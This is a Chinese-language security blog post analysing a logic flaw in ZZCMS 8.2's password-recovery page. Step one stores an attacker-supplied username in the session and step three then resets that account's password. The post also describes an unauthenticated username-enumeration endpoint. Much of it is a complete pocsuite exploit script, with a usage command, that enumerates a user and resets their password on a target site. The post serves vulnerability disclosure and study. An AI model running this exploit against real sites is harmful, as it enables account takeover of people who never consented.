zoukankan      html  css  js  c++  java
  • ZZCMS8.2 用户密码重置漏洞

    前言

    一个找回密码处的逻辑漏洞, 还是有点意思的。

    正文

    首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可

    paste image

    下面去 getpassword.php 里面看看, 首先包含了一些文件

    paste image

    conn.php 中,包含了 stopsqlin.php 会对参数进行过滤操作。

    paste image

    stopsqlin.php 中对参数的过滤

    paste image

    回到getpassword.php , 文件后面就开始进入 密码找回 功能的业务逻辑了。

    找回密码功能分为3个部分

    paste image

    正常走一遍流程,期间用 burp 抓包

    paste image
    可以看到根据 action 来识别已经进行到了哪一步。以这个为线索去看代码,逻辑就非常清晰了。

    我们直接来看看最后一步的代码

    paste image

    判断非常的简单, 只要

    $action == "step3" && @$_SESSION['username'] != ''
    

    接下来找 哪里修改了 $_SESSION['username'], 发现在 step1 的时候,用 POST 参数修改 $_SESSION['username']

    paste image

    于是利用思路

    • 首先进入 step1 , 设置 $_SESSION['username']为需要重置的用户名
    • 然后进入 step3 , 设置密码即可

    同时该程序还有一个小问题,check_username_ajax.php  没有做 检查, 我们可以用它来枚举用户

    paste image

    paste image

    pocsuite 写的 exp:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    import string
    import random
    import time
    from pocsuite.net import req
    from pocsuite.poc import POCBase, Output
    from pocsuite.utils import register
    from pocsuite.lib.core.data import logger
    
    class HackZZcms(POCBase):
        name = 'ZZcms ZZCMS8.2任意用户密码修改'
        vulID = '1'
        author = ['hac425']
        vulType = 'remote-pass-change'
        version = '1.0'    # default version: 1.0
        references = ['http://blog.hac425.top/2018/03/07/zzcms_8_2_rest_user_passwd.html']
        desc = '''ZZcms ZZCMS8.2任意用户密码修改'''
    
        vulDate = '***'
        createDate = '2018-03-07'
        updateDate = '2018-03-07'
    
        appName = 'ZZcms'
        appVersion = '8.2'
        appPowerLink = 'http://www.zzcms.net/'
        samples = ['']
    
        # 检查用户名是否存在
        def _check_username(self, username):
            target = self.url + "/ajax/check_username_ajax.php?id=" + username
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
    
            cont = req.get(target, headers=headers).content
            if "用户名不存在" in cont:
                return False 
            return True
    
        # 使得 SESSION 中存放好我们需要改密码的 用户名, 同时返回 PHPSESSID
        def _get_session(self, url, username):
            target = url + "/one/getpassword.php"
            headers = {"Origin": url,
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
            data = {"username": username, "username2": "yes", "action": "step1",
                "yzm": "22", "yzm2": "yes", "submit": "xe4xb8x8bxe4xb8x80xe6xadxa5"}
    
            res = req.post(target, headers=headers, data=data)
            return res.cookies.get("PHPSESSID")
    
        # 重置密码
        def _reset_passwd(self, url, password, phpsession):
            target = url + "/one/getpassword.php"
            cookies = {"PHPSESSID": phpsession}
            headers = {"Origin": url,  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
            data={"password": password, "password2": "yes", "action": "step3", "PwdConfirm": password, "PwdConfirm2": "yes", "submit": "xe7xa1xaexe5xaex9a"}
            res = req.post(target, headers=headers, cookies=cookies, data=data)
            # print res.content
            return res.content
    
        def _attack(self):
            """attack mode"""
            return self._verify()
    
    
        def _verify(self):
            """verify mode"""
            # print self.params
            result = {}
            username = self.params['username']
            password = self.params['password']
            
            if self._check_username(username):
                phpsession = self._get_session(self.url, username)
                if "重置密码成功" in self._reset_passwd(self.url, password, phpsession):
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url    
            else:
                logger.error("无该账号")
            return self.parse_output(result)
    
        def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail(result)
            return output
    
    
    register(HackZZcms)
    
    

    使用示例

    pocsuite -r pocsuite_pocs/zzcms/zzcms_8_2_reset_any_user_passwd.py  -u http://hack.zzcms.top/ --extra-params "{'username': 'test', 'password':'xxxxdsg'}"
    

    paste image

    参考

    http://getpass.cn/2018/03/06/zzcms-Any-user-password-changes-loopholes-code-points/

  • 相关阅读:
    如何用jquery实现实时监控浏览器宽度
    关于oracle with as用法
    SQL查询语句,怎样查询重复数据
    Axure RP Pro7.0的key注册码加汉化非破解
    秦曾昌人工智能课程---7、决策树集成学习Tree Ensembles
    秒懂机器学习---分类回归树CART
    秒懂机器学习---朴素贝叶斯
    秒懂机器学习---k临近算法(KNN)
    秒懂机器学习---机器学习无法逃避的梯度下降法
    秒懂机器学习---当机器学习遇上决策树....
  • 原文地址:https://www.cnblogs.com/hac425/p/9416653.html
Copyright © 2011-2022 走看看